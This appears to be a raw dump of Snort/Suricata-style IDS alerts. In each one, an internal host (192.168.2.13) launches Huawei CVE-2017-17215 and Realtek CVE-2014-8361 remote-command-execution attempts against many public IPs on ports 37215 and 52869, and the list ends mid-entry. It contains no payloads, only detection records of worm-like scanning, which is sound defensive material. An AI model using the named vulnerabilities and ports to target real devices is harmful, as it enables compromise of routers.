ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.39.121.171

Timestamp:	07/20/24-23:00:59.020188
SID:	2829579
Source Port:	34008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 44.184.39.95

Timestamp:	07/20/24-23:01:15.087650
SID:	2835222
Source Port:	44818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 78.175.0.114

Timestamp:	07/20/24-23:01:22.743515
SID:	2835222
Source Port:	49402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 9.231.7.210

Timestamp:	07/20/24-23:01:14.527257
SID:	2027339
Source Port:	60312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.219.250.80

Timestamp:	07/20/24-23:01:32.213464
SID:	2835222
Source Port:	58488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 80.223.139.197

Timestamp:	07/20/24-23:01:27.358600
SID:	2831300
Source Port:	56658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 129.45.186.97

Timestamp:	07/20/24-23:01:06.800492
SID:	2835222
Source Port:	36610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.7.29.244

Timestamp:	07/20/24-23:01:14.998674
SID:	2829579
Source Port:	38652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 170.253.218.179

Timestamp:	07/20/24-23:01:02.699257
SID:	2829579
Source Port:	35252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.180.142.161

Timestamp:	07/20/24-23:01:04.864677
SID:	2829579
Source Port:	41484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 67.52.151.110

Timestamp:	07/20/24-23:01:27.352673
SID:	2027339
Source Port:	50294
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 123.81.251.53

Timestamp:	07/20/24-23:01:19.612320
SID:	2027339
Source Port:	39578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.177.51.37

Timestamp:	07/20/24-23:01:22.746773
SID:	2829579
Source Port:	40638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.232.126.115

Timestamp:	07/20/24-23:01:36.794115
SID:	2829579
Source Port:	56380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 187.26.97.109

Timestamp:	07/20/24-23:01:27.354360
SID:	2027339
Source Port:	37072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 202.189.16.223

Timestamp:	07/20/24-23:01:06.600161
SID:	2025132
Source Port:	45432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.171.19.190

Timestamp:	07/20/24-23:01:27.297470
SID:	2829579
Source Port:	60152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 71.13.191.125

Timestamp:	07/20/24-23:01:12.483085
SID:	2835222
Source Port:	47110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.84.11.202

Timestamp:	07/20/24-23:00:59.023733
SID:	2829579
Source Port:	36856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 126.247.30.6

Timestamp:	07/20/24-23:01:06.801053
SID:	2835222
Source Port:	34770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 182.69.101.91

Timestamp:	07/20/24-23:01:19.988832
SID:	2025132
Source Port:	52402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 52.185.40.220

Timestamp:	07/20/24-23:01:03.808937
SID:	2027339
Source Port:	38814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.133.210.227

Timestamp:	07/20/24-23:01:22.744419
SID:	2835222
Source Port:	34702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 5.7.47.44

Timestamp:	07/20/24-23:01:32.208939
SID:	2829579
Source Port:	48656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.50.200.38

Timestamp:	07/20/24-23:00:59.021252
SID:	2829579
Source Port:	38068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 17.217.65.15

Timestamp:	07/20/24-23:01:05.643403
SID:	2025132
Source Port:	60734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.196.109.118

Timestamp:	07/20/24-23:01:25.391285
SID:	2835222
Source Port:	33248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 32.227.60.125

Timestamp:	07/20/24-23:01:07.518638
SID:	2025132
Source Port:	42540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.158.187.102

Timestamp:	07/20/24-23:01:04.859993
SID:	2835222
Source Port:	56376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.122.39.77

Timestamp:	07/20/24-23:01:17.782283
SID:	2829579
Source Port:	43364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.119.212.86

Timestamp:	07/20/24-23:01:06.808312
SID:	2835222
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 144.53.119.5

Timestamp:	07/20/24-23:01:14.546163
SID:	2027339
Source Port:	55464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.35.6.165

Timestamp:	07/20/24-23:01:15.110016
SID:	2835222
Source Port:	33876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.244.22.221

Timestamp:	07/20/24-23:01:06.798866
SID:	2835222
Source Port:	37538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 153.97.31.189

Timestamp:	07/20/24-23:01:14.521013
SID:	2831300
Source Port:	33266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.34.181.62

Timestamp:	07/20/24-23:01:14.998084
SID:	2835222
Source Port:	54550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.19.188.155

Timestamp:	07/20/24-23:01:22.737206
SID:	2835222
Source Port:	33850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.76.130.145

Timestamp:	07/20/24-23:01:06.804996
SID:	2829579
Source Port:	40206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 144.53.119.5

Timestamp:	07/20/24-23:01:06.293358
SID:	2025132
Source Port:	53508
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 207.190.228.219

Timestamp:	07/20/24-23:01:19.969809
SID:	2027339
Source Port:	34548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.121.72.96

Timestamp:	07/20/24-23:01:22.812907
SID:	2829579
Source Port:	41036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 114.0.228.232

Timestamp:	07/20/24-23:01:06.248510
SID:	2025132
Source Port:	60044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 124.49.210.94

Timestamp:	07/20/24-23:01:07.232267
SID:	2025132
Source Port:	36452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.244.217.198

Timestamp:	07/20/24-23:01:06.800492
SID:	2829579
Source Port:	51244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.250.247

Timestamp:	07/20/24-23:01:27.236376
SID:	2829579
Source Port:	49734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 137.251.208.230

Timestamp:	07/20/24-23:01:04.848605
SID:	2835222
Source Port:	55820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 20.106.107.244

Timestamp:	07/20/24-23:01:06.856653
SID:	2025132
Source Port:	38670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.229.108.254

Timestamp:	07/20/24-23:01:36.850101
SID:	2835222
Source Port:	45652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 49.79.222.119

Timestamp:	07/20/24-23:01:14.517250
SID:	2831300
Source Port:	45326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.183.69.2

Timestamp:	07/20/24-23:01:17.802655
SID:	2835222
Source Port:	37654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 156.218.218.173

Timestamp:	07/20/24-23:01:14.517363
SID:	2027339
Source Port:	42476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.178.191.248

Timestamp:	07/20/24-23:01:32.202245
SID:	2829579
Source Port:	57942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.141.237.51

Timestamp:	07/20/24-23:01:06.827198
SID:	2835222
Source Port:	52954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 70.153.220.198

Timestamp:	07/20/24-23:01:20.491915
SID:	2025132
Source Port:	35996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 182.252.69.39

Timestamp:	07/20/24-23:01:36.794115
SID:	2829579
Source Port:	34654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 52.138.177.196

Timestamp:	07/20/24-23:00:59.021490
SID:	2829579
Source Port:	58760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 138.119.175.2

Timestamp:	07/20/24-23:01:08.418538
SID:	2835222
Source Port:	54122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.56.121.105

Timestamp:	07/20/24-23:01:36.793382
SID:	2835222
Source Port:	40336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.3.121.137

Timestamp:	07/20/24-23:01:32.192487
SID:	2835222
Source Port:	57544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 125.165.157.181

Timestamp:	07/20/24-23:01:04.553633
SID:	2025132
Source Port:	46976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.164.74.99

Timestamp:	07/20/24-23:01:27.229449
SID:	2835222
Source Port:	43740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.58.247.74

Timestamp:	07/20/24-23:01:12.504870
SID:	2835222
Source Port:	49290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 140.242.21.87

Timestamp:	07/20/24-23:01:02.603717
SID:	2829579
Source Port:	41860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 147.253.173.13

Timestamp:	07/20/24-23:01:20.587272
SID:	2025132
Source Port:	53230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.127.151.237

Timestamp:	07/20/24-23:01:22.753217
SID:	2835222
Source Port:	33710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.243.126.145

Timestamp:	07/20/24-23:01:04.874131
SID:	2829579
Source Port:	41850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.230.222.12

Timestamp:	07/20/24-23:01:12.360354
SID:	2829579
Source Port:	54960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.75.142.184

Timestamp:	07/20/24-23:01:02.607576
SID:	2829579
Source Port:	55314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.190.198.11

Timestamp:	07/20/24-23:01:02.685656
SID:	2835222
Source Port:	36066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 198.95.42.42

Timestamp:	07/20/24-23:01:06.621773
SID:	2025132
Source Port:	36064
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.170.236.11

Timestamp:	07/20/24-23:01:08.407500
SID:	2835222
Source Port:	35168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 51.169.114.105

Timestamp:	07/20/24-23:01:05.077585
SID:	2025132
Source Port:	53172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 197.5.41.2

Timestamp:	07/20/24-23:01:19.942832
SID:	2025132
Source Port:	47088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.2.40.4

Timestamp:	07/20/24-23:01:04.879348
SID:	2835222
Source Port:	39622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 181.190.213.191

Timestamp:	07/20/24-23:01:06.800702
SID:	2829579
Source Port:	45248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 120.157.208.82

Timestamp:	07/20/24-23:01:08.386561
SID:	2835222
Source Port:	58808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.33.148.71

Timestamp:	07/20/24-23:01:32.202245
SID:	2829579
Source Port:	42428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.133.112.241

Timestamp:	07/20/24-23:01:22.739710
SID:	2835222
Source Port:	38354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.212.40.166

Timestamp:	07/20/24-23:01:12.485954
SID:	2835222
Source Port:	44408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.178.5.152

Timestamp:	07/20/24-23:01:22.834271
SID:	2835222
Source Port:	34036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.237.12.255

Timestamp:	07/20/24-23:01:25.450878
SID:	2835222
Source Port:	41564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 64.105.126.104

Timestamp:	07/20/24-23:01:32.263122
SID:	2835222
Source Port:	45866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.183.3.29

Timestamp:	07/20/24-23:01:08.447449
SID:	2829579
Source Port:	42350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.148.108.70

Timestamp:	07/20/24-23:01:36.781974
SID:	2835222
Source Port:	48676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.66.3.1

Timestamp:	07/20/24-23:01:32.199687
SID:	2835222
Source Port:	51558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 147.164.232.161

Timestamp:	07/20/24-23:01:04.779681
SID:	2027339
Source Port:	57552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.127.253.177

Timestamp:	07/20/24-23:01:36.780626
SID:	2829579
Source Port:	41906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.54.33.180

Timestamp:	07/20/24-23:01:12.483169
SID:	2835222
Source Port:	35264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 213.139.43.137

Timestamp:	07/20/24-23:01:14.513824
SID:	2831300
Source Port:	41742
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 98.113.228.216

Timestamp:	07/20/24-23:01:27.366829
SID:	2027339
Source Port:	34996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.171.53.74

Timestamp:	07/20/24-23:01:19.604116
SID:	2027339
Source Port:	45058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 159.48.133.27

Timestamp:	07/20/24-23:01:21.640040
SID:	2025132
Source Port:	60348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.34.92.241

Timestamp:	07/20/24-23:00:59.019997
SID:	2835222
Source Port:	53188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 178.39.107.192

Timestamp:	07/20/24-23:01:06.889978
SID:	2025132
Source Port:	57092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.249.67.102

Timestamp:	07/20/24-23:01:08.381624
SID:	2829579
Source Port:	46144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.204.210.210

Timestamp:	07/20/24-23:01:25.389445
SID:	2835222
Source Port:	53806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 71.240.247.135

Timestamp:	07/20/24-23:01:14.518210
SID:	2831300
Source Port:	34642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.68.211.95

Timestamp:	07/20/24-23:01:02.595730
SID:	2835222
Source Port:	43498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 179.27.16.177

Timestamp:	07/20/24-23:01:06.511162
SID:	2025132
Source Port:	40030
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.119.173

Timestamp:	07/20/24-23:00:59.022402
SID:	2829579
Source Port:	58296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.190.82.16

Timestamp:	07/20/24-23:01:08.400738
SID:	2829579
Source Port:	39256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.24.107.244

